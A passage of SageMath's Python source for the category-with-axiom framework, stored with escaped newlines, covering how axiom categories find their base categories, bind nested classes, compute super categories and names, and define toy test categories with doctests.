importlib.import_module(\"sage.categories.\"+base_module_name)\n                base_category_class = getattr(base_module, base_name)\n                assert getattr(base_category_class, axiom, None) is cls, \\\n                    \"Missing (lazy import) link for {} to {} for axiom {}?\".format(base_category_class, cls, axiom)\n                return base_category_class, axiom\n            except (ImportError,AttributeError):\n                pass\n    raise TypeError(\"\"\"Could not retrieve the base category class and axiom for {}.\nPlease specify it explictly using the attribute _base_category_class_and_axiom.\nSee CategoryWithAxiom for details.\"\"\".format(cls))\n\n@cached_function\ndef axiom_of_nested_class(cls, nested_cls):\n    r\"\"\"\n    Given a class and a nested axiom class, return the axiom.\n\n    EXAMPLES:\n\n    This uses some heuristics like checking if the nested_cls carries\n    the name of the axiom, or is built by appending or prepending the\n    name of the axiom to that of the class::\n\n        sage: from sage.categories.category_with_axiom import TestObjects, axiom_of_nested_class\n        sage: axiom_of_nested_class(TestObjects, TestObjects.FiniteDimensional)\n        'FiniteDimensional'\n        sage: axiom_of_nested_class(TestObjects.FiniteDimensional, TestObjects.FiniteDimensional.Finite)\n        'Finite'\n        sage: axiom_of_nested_class(Sets, FiniteSets)\n        'Finite'\n        sage: axiom_of_nested_class(Algebras, AlgebrasWithBasis)\n        'WithBasis'\n\n    In all other cases, the nested class should provide an attribute\n    ``_base_category_class_and_axiom``::\n\n        sage: Semigroups._base_category_class_and_axiom\n        (<class 'sage.categories.magmas.Magmas'>, 'Associative')\n        sage: axiom_of_nested_class(Magmas, Semigroups)\n        'Associative'\n    \"\"\"\n    try:\n        axiom = nested_cls.__dict__[\"_base_category_class_and_axiom\"][1]\n    except KeyError:\n        assert not isinstance(cls, DynamicMetaclass)\n        nested_cls_name = nested_cls.__name__.split(\".\")[-1]\n        if nested_cls_name in all_axioms:\n            axiom = nested_cls_name\n        else:\n            cls_name = cls.__name__.split(\".\")[-1]\n            if nested_cls_name.startswith(cls_name):\n                axiom = nested_cls_name[len(cls_name):]\n            elif nested_cls_name.endswith(cls_name):\n                axiom = nested_cls_name[:-len(cls_name)]\n            else:\n                raise ValueError(\"could not infer axiom for the nested class {} of {}\".format(nested_cls, cls))\n    assert axiom in all_axioms, \\\n        \"Incorrect deduction ({}) for the name of the axiom for the nested class {} of {}\".format(axiom, nested_cls, cls)\n    assert axiom in cls.__dict__ and cls.__dict__[axiom] == nested_cls, \\\n        \"{} not a nested axiom class of {} for axiom {}\".format(nested_cls, cls, axiom)\n    return axiom\n\nclass CategoryWithAxiom(Category):\n    r\"\"\"\n    An abstract class for categories obtained by adding an axiom\n    to a base category.\n\n    See the :mod:`category primer <sage.categories.primer>`, and in\n    particular its :ref:`section about axioms <category-primer-axioms>`\n    for an introduction to axioms, and :class:`CategoryWithAxiom` for\n    how to implement axioms and the documentation of the axiom\n    infrastructure.\n\n    .. automethod:: __classcall__\n    .. automethod:: __classget__\n    .. automethod:: __init__\n    .. automethod:: _repr_object_names\n    .. automethod:: _repr_object_names_static\n    .. automethod:: _test_category_with_axiom\n    .. automethod:: _without_axioms\n    \"\"\"\n\n    @lazy_class_attribute\n    def _base_category_class_and_axiom(cls):\n        r\"\"\"\n        The class of the base category and the axiom for this class.\n\n        By default, and when possible, this attribute is deduced from\n        the name of this class (see\n        :func:`base_category_class_and_axiom`). For a nested class,\n        when the category is first created from its base category as\n        in e.g. ``Sets().Infinite()``, this attribute is instead set\n        explicitly by :meth:`__classget__`.\n\n        When this is not sufficient, that is when ``cls`` is not\n        implemented as a nested class and the base category and the\n        axiom cannot be deduced from the name of ``cls``, this\n        attribute should be set explicitly by ``cls``.\n\n        The origin of the attribute is stored in the attribute\n        ``_base_category_class_and_axiom_origin``.\n\n        .. SEEALSO:: :meth:`_axiom`\n\n        EXAMPLES:\n\n        ``CommutativeRings`` is not a nested class, but the name of\n        the base category and the axiom can be deduced::\n\n            sage: CommutativeRings()._base_category_class_and_axiom\n            (<class 'sage.categories.rings.Rings'>, 'Commutative')\n            sage: CommutativeRings()._base_category_class_and_axiom_origin\n            'deduced by base_category_class_and_axiom'\n\n        ``Sets.Infinite`` is a nested class, so the attribute is set\n        by :meth:`CategoryWithAxiom.__classget__` the first time\n        ``Sets().Infinite()`` is called::\n\n            sage: Sets().Infinite()\n            Category of infinite sets\n            sage: Sets.Infinite._base_category_class_and_axiom\n            (<class 'sage.categories.sets_cat.Sets'>, 'Infinite')\n            sage: Sets.Infinite._base_category_class_and_axiom_origin\n            'set by __classget__'\n\n        ``Fields`` is not a nested class, and the name of the base\n        category and axioms cannot be deduced from the name\n        ``Fields``; so this attributes needs to be set explicitly in\n        the ``Fields`` class::\n\n            sage: Fields()._base_category_class_and_axiom\n            (<class 'sage.categories.division_rings.DivisionRings'>, 'Commutative')\n            sage: Fields()._base_category_class_and_axiom_origin\n            'hardcoded'\n\n        .. NOTE::\n\n            The base category class is often another category with\n            axiom, therefore having a special ``__classget__`` method.\n            Storing the base category class and the axiom in a single\n            tuple attribute -- instead of two separate attributes --\n            has the advantage of not trigerring, for example,\n            ``Semigroups.__classget__`` upon\n            ``Monoids._base_category_class``.\n        \"\"\"\n        base_category_class, axiom = base_category_class_and_axiom(cls)\n        cls._base_category_class_and_axiom_origin = \"deduced by base_category_class_and_axiom\"\n        return (base_category_class, axiom)\n\n    _base_category_class_and_axiom_origin = \"hardcoded\"\n\n    @lazy_class_attribute\n    def _axiom(cls):\n        r\"\"\"\n        The axiom for this category with axiom.\n\n        .. SEEALSO:: :meth:`_base_category_class_and_axiom`\n\n        EXAMPLES::\n\n            sage: FiniteSets._axiom\n            'Finite'\n            sage: Sets.Finite._axiom\n            'Finite'\n            sage: Algebras.Commutative._axiom\n            'Commutative'\n\n        The result can be less obvious::\n\n            sage: Semigroups._axiom\n            'Associative'\n            sage: Rings._axiom\n            'Unital'\n            sage: Fields._axiom\n            'Commutative'\n        \"\"\"\n        return cls._base_category_class_and_axiom[1]\n\n    @staticmethod\n    def __classcall__(cls, *args, **options):\n        \"\"\"\n        Make ``FoosBar(**)`` an alias for ``Foos(**)._with_axiom(\"Bar\")``.\n\n        EXAMPLES::\n\n            sage: FiniteGroups()\n            Category of finite groups\n            sage: ModulesWithBasis(ZZ)\n            Category of modules with basis over Integer Ring\n            sage: AlgebrasWithBasis(QQ)\n            Category of algebras with basis over Rational Field\n\n        This is relevant when e.g. ``Foos(**)`` does some non trivial\n        transformations::\n\n            sage: Modules(QQ) is VectorSpaces(QQ)\n            True\n            sage: type(Modules(QQ))\n            <class 'sage.categories.vector_spaces.VectorSpaces_with_category'>\n\n            sage: ModulesWithBasis(QQ) is VectorSpaces(QQ).WithBasis()\n            True\n            sage: type(ModulesWithBasis(QQ))\n            <class 'sage.categories.vector_spaces.VectorSpaces.WithBasis_with_category'>\n        \"\"\"\n        (base_category_class, axiom) = cls._base_category_class_and_axiom\n        if len(args) == 1 and not options and isinstance(args[0], base_category_class):\n            return super(CategoryWithAxiom, cls).__classcall__(cls, args[0])\n        else:\n            # The \"obvious\" idiom\n            ##   return cls(base_category_class(*args, **options))\n            # fails with ModulesWithBasis(QQ) as follows: The\n            # base_category_class is Modules, but Modules(QQ) is an instance\n            # of VectorSpaces and not of Modules. Hence,\n            # ModulesWithBasis.__classcall__ will not accept this instance as\n            # the first argument. Instead, we apply the axiom to the instance:\n            return base_category_class(*args, **options)._with_axiom(axiom)\n\n    @staticmethod\n    def __classget__(cls, base_category, base_category_class):\n        r\"\"\"\n        Implement the binding behavior for categories with axioms.\n\n        This method implements a binding behavior on category with\n        axioms so that, when a category ``Cs`` implements an axiom\n        ``A`` with a nested class ``Cs.A``, the expression ``Cs().A``\n        evaluates to the method defining the axiom ``A`` and not the\n        nested class. See `those design notes\n        <category-with-axiom-design>`_ for the rationale behind this\n        behavior.\n\n        EXAMPLES::\n\n            sage: Sets().Infinite()\n            Category of infinite sets\n            sage: Sets().Infinite\n            Cached version of <function Infinite at ...>\n            sage: Sets().Infinite.f == Sets.SubcategoryMethods.Infinite.f\n            True\n\n        We check that this also works when the class is implemented in\n        a separate file, and lazy imported::\n\n            sage: Sets().Finite\n            Cached version of <function Finite at ...>\n\n        There is no binding behavior when accessing ``Finite`` or\n        ``Infinite`` from the class of the category instead of the\n        category itself::\n\n            sage: Sets.Finite\n            <class 'sage.categories.finite_sets.FiniteSets'>\n            sage: Sets.Infinite\n            <class 'sage.categories.sets_cat.Sets.Infinite'>\n\n        This method also initializes the attribute\n        ``_base_category_class_and_axiom`` if not already set::\n\n            sage: Sets.Infinite._base_category_class_and_axiom\n            (<class 'sage.categories.sets_cat.Sets'>, 'Infinite')\n            sage: Sets.Infinite._base_category_class_and_axiom_origin\n            'set by __classget__'\n        \"\"\"\n        # TODO: this is super paranoid; see if this can be simplified a bit\n        if base_category is not None:\n            assert base_category.__class__ is base_category_class\n            assert isinstance(base_category_class, DynamicMetaclass)\n        if isinstance(base_category_class, DynamicMetaclass):\n            base_category_class = base_category_class.__base__\n        if \"_base_category_class_and_axiom\" not in cls.__dict__:\n            cls._base_category_class_and_axiom = (base_category_class, axiom_of_nested_class(base_category_class, cls))\n            cls._base_category_class_and_axiom_origin = \"set by __classget__\"\n        else:\n            assert cls._base_category_class_and_axiom[0] is base_category_class, \\\n                \"base category class for {} mismatch; expected {}, got {}\".format(\n                 cls, cls._base_category_class_and_axiom[0], base_category_class)\n\n        # Workaround #15648: if Rings.Finite is a LazyImport object,\n        # this forces the substitution of the object back into Rings\n        # to avoid resolving the lazy import over and over\n        if isinstance(base_category_class.__dict__[cls._axiom], LazyImport):\n            setattr(base_category_class, cls._axiom, cls)\n\n        if base_category is None:\n             return cls\n        # For Rings().Finite, this returns the method\n        # Sets.SubcategoryMethods.Finite, with its first argument bound to Rings()\n        return getattr(super(base_category.__class__.__base__, base_category), cls._axiom)\n\n    def __init__(self, base_category):\n        \"\"\"\n        TESTS::\n\n            sage: C = Sets.Finite(); C\n            Category of finite sets\n            sage: type(C)\n            <class 'sage.categories.finite_sets.FiniteSets_with_category'>\n            sage: type(C).__base__.__base__\n            <class 'sage.categories.category_with_axiom.CategoryWithAxiom_singleton'>\n\n            sage: TestSuite(C).run()\n        \"\"\"\n        # A hack to upgrade axiom categories of singleton categories\n        # to be singleton categories themselves\n        if isinstance(base_category, Category_singleton) and not isinstance(self, CategoryWithAxiom_singleton):\n            cls = self.__class__\n            assert cls.__base__ == CategoryWithAxiom\n            cls.__bases__ = (CategoryWithAxiom_singleton,)+cls.__bases__[1:]\n\n        self._base_category = base_category\n        Category.__init__(self)\n\n    def _test_category_with_axiom(self, **options):\n        r\"\"\"\n        Run generic tests on this category with axioms.\n\n        .. SEEALSO:: :class:`TestSuite`.\n\n        This check that an axiom category of a\n        :class:`Category_singleton` is a singleton category, and\n        similarwise for :class`Category_over_base_ring`.\n\n        EXAMPLES::\n\n            sage: Sets().Finite()._test_category_with_axiom()\n            sage: Modules(ZZ).FiniteDimensional()._test_category_with_axiom()\n        \"\"\"\n        tester = self._tester(**options)\n        base = self.base_category()\n        if isinstance(base, Category_singleton):\n            tester.assertIsInstance(self, CategoryWithAxiom_singleton)\n        if isinstance(base, Category_over_base_ring):\n            tester.assertIsInstance(self, CategoryWithAxiom_over_base_ring)\n\n    def extra_super_categories(self):\n        \"\"\"\n        Return the extra super categories of a category with axiom.\n\n        Default implementation which returns ``[]``.\n\n        EXAMPLES::\n\n            sage: FiniteSets().extra_super_categories()\n            []\n        \"\"\"\n        return []\n\n    @cached_method\n    def super_categories(self):\n        \"\"\"\n        Return a list of the (immediate) super categories of\n        ``self``, as per :meth:`Category.super_categories`.\n\n        This implements the property that if ``As`` is a subcategory\n        of ``Bs``, then the intersection of ``As`` with ``FiniteSets()``\n        is a subcategory of ``As`` and of the intersection of ``Bs``\n        with ``FiniteSets()``.\n\n        EXAMPLES:\n\n        A finite magma is both a magma and a finite set::\n\n            sage: Magmas().Finite().super_categories()\n            [Category of magmas, Category of finite sets]\n\n        Variants::\n\n            sage: Sets().Finite().super_categories()\n            [Category of sets]\n\n            sage: Monoids().Finite().super_categories()\n            [Category of monoids, Category of finite semigroups]\n\n        EXAMPLES:\n\n        TESTS::\n\n            sage: from sage.categories.category_with_axiom import TestObjects\n            sage: C = TestObjects().FiniteDimensional().Unital().Commutative().Finite()\n            sage: sorted(C.super_categories(), key=str)\n            [Category of finite commutative test objects,\n             Category of finite dimensional commutative unital test objects,\n             Category of finite finite dimensional test objects]\n        \"\"\"\n        base_category = self._base_category\n        axiom = self._axiom\n        return Category.join((base_category,) +\n                             tuple(cat\n                                   for category in base_category._super_categories\n                                   for cat in category._with_axiom_as_tuple(axiom)) +\n                             tuple(self.extra_super_categories()),\n                             ignore_axioms = ((base_category, axiom),),\n                             as_list = True)\n\n    def additional_structure(self):\n        r\"\"\"\n        Return the additional structure defined by ``self``.\n\n        OUTPUT: ``None``\n\n        By default, a category with axiom defines no additional\n        structure.\n\n        .. SEEALSO:: :meth:`Category.additional_structure`.\n\n        EXAMPLES:\n\n            sage: Sets().Finite().additional_structure()\n            sage: Monoids().additional_structure()\n\n        TESTS::\n\n            sage: Sets().Finite().additional_structure.__module__\n            'sage.categories.category_with_axiom'\n        \"\"\"\n        return None\n\n    @staticmethod\n    def _repr_object_names_static(category, axioms):\n        r\"\"\"\n        INPUT:\n\n        - ``base_category`` -- a category\n        - ``axioms`` -- a list or iterable of strings\n\n        EXAMPLES::\n\n            sage: from sage.categories.category_with_axiom import CategoryWithAxiom\n            sage: CategoryWithAxiom._repr_object_names_static(Semigroups(), [\"Flying\", \"Blue\"])\n            'flying blue semigroups'\n            sage: CategoryWithAxiom._repr_object_names_static(Algebras(QQ), [\"Flying\", \"WithBasis\", \"Blue\"])\n            'flying blue algebras with basis over Rational Field'\n            sage: CategoryWithAxiom._repr_object_names_static(Algebras(QQ), [\"WithBasis\"])\n            'algebras with basis over Rational Field'\n            sage: CategoryWithAxiom._repr_object_names_static(Sets().Finite().Subquotients(), [\"Finite\"])\n            'subquotients of finite sets'\n            sage: CategoryWithAxiom._repr_object_names_static(Monoids(), [\"Unital\"])\n            'monoids'\n            sage: CategoryWithAxiom._repr_object_names_static(Algebras(QQ['x']['y']), [\"Flying\", \"WithBasis\", \"Blue\"])\n            'flying blue algebras with basis over Univariate Polynomial Ring in y over Univariate Polynomial Ring in x over Rational Field'\n\n        If the axioms is a set or frozen set, then they are first\n        sorted using :func:`canonicalize_axioms`::\n\n            sage: CategoryWithAxiom._repr_object_names_static(Semigroups(), set([\"Finite\", \"Commutative\", \"Facade\"]))\n            'facade finite commutative semigroups'\n\n        .. SEEALSO:: :meth:`_repr_object_names`\n\n        .. NOTE::\n\n            The logic here is shared between :meth:`_repr_object_names`\n            and :meth:`.category.JoinCategory._repr_object_names`\n\n        TESTS::\n\n            sage: from sage.categories.homsets import Homsets\n            sage: CategoryWithAxiom._repr_object_names_static(Homsets(), [\"Endset\"])\n            'endsets'\n            sage: CategoryWithAxiom._repr_object_names_static(PermutationGroups(), [\"FinitelyGeneratedAsMagma\"])\n            'finitely generated permutation groups'\n            sage: CategoryWithAxiom._repr_object_names_static(Rings(), [\"FinitelyGeneratedAsMagma\"])\n            'finitely generated as magma rings'\n        \"\"\"\n        from sage.categories.additive_magmas import AdditiveMagmas\n        axioms = canonicalize_axioms(all_axioms,axioms)\n        base_category = category._without_axioms(named=True)\n        if isinstance(base_category, CategoryWithAxiom): # Smelly runtime type checking\n            result = super(CategoryWithAxiom, base_category)._repr_object_names()\n        else:\n            result = base_category._repr_object_names()\n        for axiom in reversed(axioms):\n            # TODO: find a more generic way to handle the special cases below\n            if axiom in base_category.axioms():\n                # If the base category already has this axiom, we\n                # need not repeat it here. See the example with\n                # Sets().Finite().Subquotients() or Monoids()\n                continue\n            base_category = base_category._with_axiom(axiom)\n            if axiom == \"WithBasis\":\n                result = result.replace(\" over \", \" with basis over \", 1)\n            elif axiom == \"Connected\" and \"graded \" in result:\n                result = result.replace(\"graded \", \"graded connected \", 1)\n            elif axiom == \"Connected\" and \"filtered \" in result:\n                result = result.replace(\"filtered \", \"filtered connected \", 1)\n            elif axiom == \"Endset\" and \"homsets\" in result:\n                # Without the space at the end to handle Homsets().Endset()\n                result = result.replace(\"homsets\", \"endsets\", 1)\n            elif axiom == \"FinitelyGeneratedAsMagma\" and \\\n                 not base_category.is_subcategory(AdditiveMagmas()):\n                result = \"finitely generated \" + result\n            else:\n                result = uncamelcase(axiom) + \" \" + result\n        return result\n\n    def _repr_object_names(self):\n        r\"\"\"\n        The names of the objects of this category, as used by ``_repr_``.\n\n        .. SEEALSO:: :meth:`Category._repr_object_names`\n\n        EXAMPLES::\n\n            sage: FiniteSets()._repr_object_names()\n            'finite sets'\n            sage: AlgebrasWithBasis(QQ).FiniteDimensional()._repr_object_names()\n            'finite dimensional algebras with basis over Rational Field'\n            sage: Monoids()._repr_object_names()\n            'monoids'\n            sage: Semigroups().Unital().Finite()._repr_object_names()\n            'finite monoids'\n            sage: Algebras(QQ).Commutative()._repr_object_names()\n            'commutative algebras over Rational Field'\n\n        .. NOTE::\n\n            This is implemented by taking _repr_object_names from\n            self._without_axioms(named=True), and adding the names\n            of the relevant axioms in appropriate order.\n        \"\"\"\n        return CategoryWithAxiom._repr_object_names_static(self, self.axioms())\n\n    def base_category(self):\n        r\"\"\"\n        Return the base category of ``self``.\n\n        EXAMPLES::\n\n            sage: C = Sets.Finite(); C\n            Category of finite sets\n            sage: C.base_category()\n            Category of sets\n            sage: C._without_axioms()\n            Category of sets\n\n        TESTS::\n\n            sage: from sage.categories.category_with_axiom import TestObjects, CategoryWithAxiom\n            sage: C = TestObjects().Commutative().Facade()\n            sage: assert isinstance(C, CategoryWithAxiom)\n            sage: C._without_axioms()\n            Category of test objects\n        \"\"\"\n        return self._base_category\n\n    def __reduce__(self):\n        r\"\"\"\n        Implement the pickle protocol.\n\n        This overides the implementation in\n        :meth:`UniqueRepresentation.__reduce__` in order to not\n        exposes the implementation detail that, for example, the\n        category of magmas which distribute over an associative\n        additive magma is implemented as\n        ``MagmasAndAdditiveMagmas.Distributive.AdditiveAssociative.AdditiveCommutative``\n        and not\n        ``MagmasAndAdditiveMagmas.Distributive.AdditiveCommutative.AdditiveAssociative``::\n\n        EXAMPLES::\n\n            sage: C = Semigroups()\n            sage: reduction = C.__reduce__(); reduction\n            (<function call_method at ...>, (Category of magmas, '_with_axiom', 'Associative'))\n            sage: loads(dumps(C)) is C\n            True\n            sage: FiniteSets().__reduce__()\n            (<function call_method at ...>, (Category of sets, '_with_axiom', 'Finite'))\n\n            sage: from sage.categories.magmas_and_additive_magmas import MagmasAndAdditiveMagmas\n            sage: C = MagmasAndAdditiveMagmas().Distributive().AdditiveAssociative().AdditiveCommutative()\n            sage: C.__class__\n            <class 'sage.categories.distributive_magmas_and_additive_magmas.DistributiveMagmasAndAdditiveMagmas.AdditiveAssociative.AdditiveCommutative_with_category'>\n            sage: C.__reduce__()\n            (<function call_method at ...>, (Category of additive associative distributive magmas and additive magmas, '_with_axiom', 'AdditiveCommutative'))\n        \"\"\"\n        return (call_method, (self._base_category, \"_with_axiom\", self._axiom))\n\n    @cached_method\n    def _without_axiom(self, axiom):\n        r\"\"\"\n        Return this category, with axiom ``axiom`` removed.\n\n        OUTPUT:\n\n        A category ``C`` which does not have axiom ``axiom`` and such\n        that either ``C`` is ``self``, or adding back all the axioms\n        of ``self`` gives back ``self``.\n\n        .. SEEALSO:: :meth:`Category._without_axiom`\n\n        .. WARNING:: This is not guaranteed to be robust.\n\n        EXAMPLES::\n\n            sage: Groups()._without_axiom(\"Unital\")\n            Category of semigroups\n            sage: Groups()._without_axiom(\"Associative\")\n            Category of inverse unital magmas\n            sage: Groups().Commutative()._without_axiom(\"Unital\")\n            Category of commutative semigroups\n        \"\"\"\n        axioms = self.axioms().difference([axiom])\n        return self._without_axioms()._with_axioms(axioms)\n\n    @cached_method\n    def _without_axioms(self, named=False):\n        \"\"\"\n        Return the category without the axioms that have been\n        added to create it.\n\n        EXAMPLES::\n\n            sage: Sets().Finite()._without_axioms()\n            Category of sets\n            sage: Monoids().Finite()._without_axioms()\n            Category of magmas\n\n        This is because::\n\n            sage: Semigroups().Unital() is Monoids()\n            True\n\n        If ``named`` is ``True``, then ``_without_axioms`` stops at the\n        first category that has an explicit name of its own::\n\n            sage: Sets().Finite()._without_axioms(named=True)\n            Category of sets\n            sage: Monoids().Finite()._without_axioms(named=True)\n            Category of monoids\n\n        Technically we test this by checking if the class specifies\n        explicitly the attribute ``_base_category_class_and_axiom``\n        by looking up ``_base_category_class_and_axiom_origin``.\n\n        Some more examples::\n\n            sage: Algebras(QQ).Commutative()._without_axioms()\n            Category of magmatic algebras over Rational Field\n            sage: Algebras(QQ).Commutative()._without_axioms(named=True)\n            Category of algebras over Rational Field\n        \"\"\"\n        if named and self._base_category_class_and_axiom_origin == \"hardcoded\":\n            return self\n        return self._base_category._without_axioms(named=named)\n\n    @cached_method\n    def axioms(self):\n        r\"\"\"\n        Return the axioms known to be satisfied by all the\n        objects of ``self``.\n\n        .. SEEALSO:: :meth:`Category.axioms`\n\n        EXAMPLES::\n\n            sage: C = Sets.Finite(); C\n            Category of finite sets\n            sage: C.axioms()\n            frozenset({'Finite'})\n\n            sage: C = Modules(GF(5)).FiniteDimensional(); C\n            Category of finite dimensional vector spaces over Finite Field of size 5\n            sage: sorted(C.axioms())\n            ['AdditiveAssociative', 'AdditiveCommutative', 'AdditiveInverse',\n             'AdditiveUnital', 'Finite', 'FiniteDimensional']\n\n            sage: sorted(FiniteMonoids().Algebras(QQ).axioms())\n            ['AdditiveAssociative', 'AdditiveCommutative', 'AdditiveInverse',\n             'AdditiveUnital', 'Associative', 'Distributive',\n             'FiniteDimensional', 'Unital', 'WithBasis']\n            sage: sorted(FiniteMonoids().Algebras(GF(3)).axioms())\n            ['AdditiveAssociative', 'AdditiveCommutative', 'AdditiveInverse',\n             'AdditiveUnital', 'Associative', 'Distributive', 'Finite',\n             'FiniteDimensional', 'Unital', 'WithBasis']\n\n            sage: from sage.categories.magmas_and_additive_magmas import MagmasAndAdditiveMagmas\n            sage: MagmasAndAdditiveMagmas().Distributive().Unital().axioms()\n            frozenset({'Distributive', 'Unital'})\n\n            sage: D = MagmasAndAdditiveMagmas().Distributive()\n            sage: X = D.AdditiveAssociative().AdditiveCommutative().Associative()\n            sage: X.Unital().super_categories()[1]\n            Category of monoids\n            sage: X.Unital().super_categories()[1] is Monoids()\n            True\n        \"\"\"\n        # We would want to write the following line:\n        #     return super(CategoryWithAxiom, self).axioms() | {self._axiom}\n        # However one currently can't use super to call a cached\n        # method in a super class. So we dup the code from there ...\n        return frozenset(axiom\n                         for category in self._super_categories\n                         for axiom in category.axioms()) | {self._axiom}\n\nclass CategoryWithAxiom_over_base_ring(CategoryWithAxiom, Category_over_base_ring):\n\n    def __init__(self, base_category):\n        \"\"\"\n        TESTS::\n\n            sage: C = Modules(ZZ).FiniteDimensional(); C\n            Category of finite dimensional modules over Integer Ring\n            sage: type(C)\n            <class 'sage.categories.modules.Modules.FiniteDimensional_with_category'>\n            sage: type(C).__base__.__base__\n            <class 'sage.categories.category_with_axiom.CategoryWithAxiom_over_base_ring'>\n\n            sage: TestSuite(C).run()\n        \"\"\"\n        # FIXME: this basically duplicates the code from\n        # CategoryWithAxiom.__init__; but we can't call the latter without\n        # calling Category.__init__ twice. One could instead set\n        # \"self.__base\", which is done in Category_over_base_ring.__init__,\n        # but then one has to take into account Python's name mangling.\n        self._base_category = base_category\n        Category_over_base_ring.__init__(self, base_category.base_ring())\n\nclass CategoryWithAxiom_singleton(Category_singleton, CategoryWithAxiom):#, Category_singleton, FastHashable_class):\n    pass\n\n\"\"\"\nThe following workaround is needed until any :class:`CategoryWithAxiom` of a\n:class:`Category_over_base_ring` becomes automatically a\n:class:`CategoryWithAxiom_over_base_ring`::\n\n    sage: from sage.categories.category_with_axiom import TestObjectsOverBaseRing, Category_over_base_ring\n    sage: from sage.categories.category import JoinCategory\n    sage: isinstance(TestObjectsOverBaseRing(QQ), Category_over_base_ring)\n    True\n    sage: C = TestObjectsOverBaseRing(QQ).Commutative()\n    sage: isinstance(C, Category_over_base_ring)          # todo: not implemented\n    True\n    sage: C.FiniteDimensional()\n    Category of finite dimensional commutative test objects over base ring over Rational Field\n    sage: C.Commutative()\n    Category of commutative test objects over base ring over Rational Field\n    sage: C.Unital()\n    Category of commutative unital test objects over base ring over Rational Field\n\n    sage: C = TestObjectsOverBaseRing(IntegerModRing(2)).Connected()\n    sage: isinstance(C, JoinCategory)\n    True\n    sage: isinstance(C, Category_over_base_ring)          # todo: not implemented\n    True\n    sage: C.FiniteDimensional()\n    Category of finite dimensional connected test objects over base ring over Ring of integers modulo 2\n    sage: C.Connected()\n    Category of connected test objects over base ring over Ring of integers modulo 2\n\"\"\"\n\n##############################################################################\n# Utilities and tests tools\n\ndef axiom(axiom):\n    \"\"\"\n    Return a function/method ``self -> self._with_axiom(axiom)``.\n\n    This can used as a shorthand to define axioms, in particular in\n    the tests below. Usually one will want to attach documentation to\n    an axiom, so the need for such a shorthand in real life might not\n    be that clear, unless we start creating lots of axioms.\n\n    In the long run maybe this could evolve into an ``@axiom`` decorator.\n\n    EXAMPLES::\n\n        sage: from sage.categories.category_with_axiom import axiom\n        sage: axiom(\"Finite\")(Semigroups())\n        Category of finite semigroups\n\n    Upon assigning the result to a class this becomes a method::\n\n        sage: class As:\n        ....:     def _with_axiom(self, axiom): return self, axiom\n        ....:     Finite = axiom(\"Finite\")\n        sage: As().Finite()\n        (<__main__.As instance at ...>, 'Finite')\n    \"\"\"\n    def with_axiom(self):\n        return self._with_axiom(axiom)\n    with_axiom.__name__ = axiom\n    return with_axiom\n\nclass Blahs(Category_singleton):\n    r\"\"\"\n    A toy singleton category, for testing purposes.\n\n    This is the root of a hierarchy of mathematically meaningless\n    categories, used for testing Sage's category framework:\n\n    - :class:`Bars`\n    - :class:`TestObjects`\n    - :class:`TestObjectsOverBaseRing`\n    \"\"\"\n\n    def super_categories(self):\n        \"\"\"\n        TESTS::\n\n             sage: from sage.categories.category_with_axiom import Blahs\n             sage: Blahs().super_categories()\n             [Category of sets]\n             sage: TestSuite(Blahs()).run()\n        \"\"\"\n        from sage.categories.sets_cat import Sets\n        return [Sets()]\n\n    class SubcategoryMethods:\n        FiniteDimensional = axiom(\"FiniteDimensional\")\n        Commutative       = axiom(\"Commutative\")\n        Unital            = axiom(\"Unital\")\n        Connected         = axiom(\"Connected\")\n        Flying            = axiom(\"Flying\")\n        Blue              = axiom(\"Blue\")\n\n    class FiniteDimensional(CategoryWithAxiom):\n        pass\n    class Commutative(CategoryWithAxiom):\n        pass\n    class Connected(CategoryWithAxiom):\n        pass\n    class Unital(CategoryWithAxiom):\n        class Blue(CategoryWithAxiom):\n            pass\n    class Flying(CategoryWithAxiom):\n        def extra_super_categories(self):\n            \"\"\"\n            This illustrates a way to have an axiom imply another one.\n\n            Here, we want ``Flying`` to imply ``Unital``, and to put\n            the class for the category of unital flying blahs in\n            ``Blahs.Flying`` rather than ``Blahs.Unital.Flying``.\n\n            TESTS::\n\n                sage: from sage.categories.category_with_axiom import Blahs, TestObjects, Bars\n                sage: Blahs().Flying().extra_super_categories()\n                [Category of unital blahs]\n                sage: Blahs().Flying()\n                Category of flying unital blahs\n            \"\"\"\n            return [Blahs().Unital()]\n\n    def Blue_extra_super_categories(self):\n        \"\"\"\n        Illustrates a current limitation in the way to have an axiom\n        imply another one.\n\n        Here, we would want ``Blue`` to imply ``Unital``, and to put\n        the class for the category of unital blue blahs in\n        ``Blahs.Unital.Blue`` rather than ``Blahs.Blue``.\n\n        This currently fails because ``Blahs`` is the category where\n        the axiom ``Blue`` is defined, and the specifications\n        currently impose that a category defining an axiom should also\n        implement it (here in an category with axiom\n        ``Blahs.Blue``). In practice, due to this violation of the\n        specifications, the axiom is lost during the join calculation.\n\n        .. TODO::\n\n            Decide whether we care about this feature. In such a\n            situation, we are not really defining a new axiom, but\n            just defining an axiom as an alias for a couple others,\n            which might not be that useful.\n\n        .. TODO::\n\n            Improve the infrastructure to detect and report this\n            violation of the specifications, if this is\n            easy. Otherwise, it's not so bad: when defining an axiom A\n            in a category ``Cs`` the first thing one is supposed to\n            doctest is that ``Cs().A()`` works. So the problem should\n            not go unnoticed.\n\n        TESTS::\n\n            sage: from sage.categories.category_with_axiom import Blahs, TestObjects, Bars\n            sage: Blahs().Blue_extra_super_categories()\n            [Category of unital blahs]\n            sage: Blahs().Blue()                          # todo: not implemented\n            Category of blue unital blahs\n        \"\"\"\n        return [Blahs().Unital()]\n\nclass Bars(Category_singleton):\n    r\"\"\"\n    A toy singleton category, for testing purposes.\n\n    .. SEEALSO:: :class:`Blahs`\n    \"\"\"\n\n    def super_categories(self):\n        \"\"\"\n        TESTS::\n\n            sage: from sage.categories.category_with_axiom import Bars\n            sage: Bars().super_categories()\n            [Category of blahs]\n            sage: TestSuite(Bars()).run()\n        \"\"\"\n        return [Blahs()]\n\n    def Unital_extra_super_categories(self):\n        \"\"\"\n        Return extraneous super categories for the unital objects of ``self``.\n\n        This method specifies that a unital bar is a test object.\n        Thus, the categories of unital bars and of unital test objects\n        coincide.\n\n        EXAMPLES::\n\n            sage: from sage.categories.category_with_axiom import Bars, TestObjects\n            sage: Bars().Unital_extra_super_categories()\n            [Category of test objects]\n            sage: Bars().Unital()\n            Category of unital test objects\n            sage: TestObjects().Unital().all_super_categories()\n            [Category of unital test objects,\n             Category of unital blahs,\n             Category of test objects,\n             Category of bars,\n             Category of blahs,\n             Category of sets,\n             Category of sets with partial maps,\n             Category of objects]\n        \"\"\"\n        return [TestObjects()]\n\nclass TestObjects(Category_singleton):\n    r\"\"\"\n    A toy singleton category, for testing purposes.\n\n    .. SEEALSO:: 